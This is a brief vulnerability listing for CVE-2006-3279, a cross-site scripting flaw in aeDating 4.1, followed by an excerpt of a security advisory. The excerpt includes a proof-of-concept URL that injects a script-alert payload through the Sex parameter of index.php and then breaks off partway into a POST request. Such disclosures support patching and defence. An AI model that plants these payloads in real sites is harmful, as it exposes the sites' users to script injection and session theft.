CVE-2006-3279: Undefined Security Weakness

Cross-site scripting XSS vulnerability in aeDating 4.1 allows remote attackers to inject arbitrary web script or HTML via the 1 Sex parameter in index.php, 2 ProfileType parameter in joinform.php, and 3 Email parameter in forgot.php...

aeDating 4.1 XSS

Product of AEwebworks Dating Software http://www.aewebworks.com/ --------------------------- Cross Site Scripting XSS --------------------------- http://target.xx:80/index.php?Sex="scriptalert/Elipsis+Security+Test//script&Mode=last ^"G4" Template work^ --- POST /joinform.php HTTP/1.1 Content-Typ...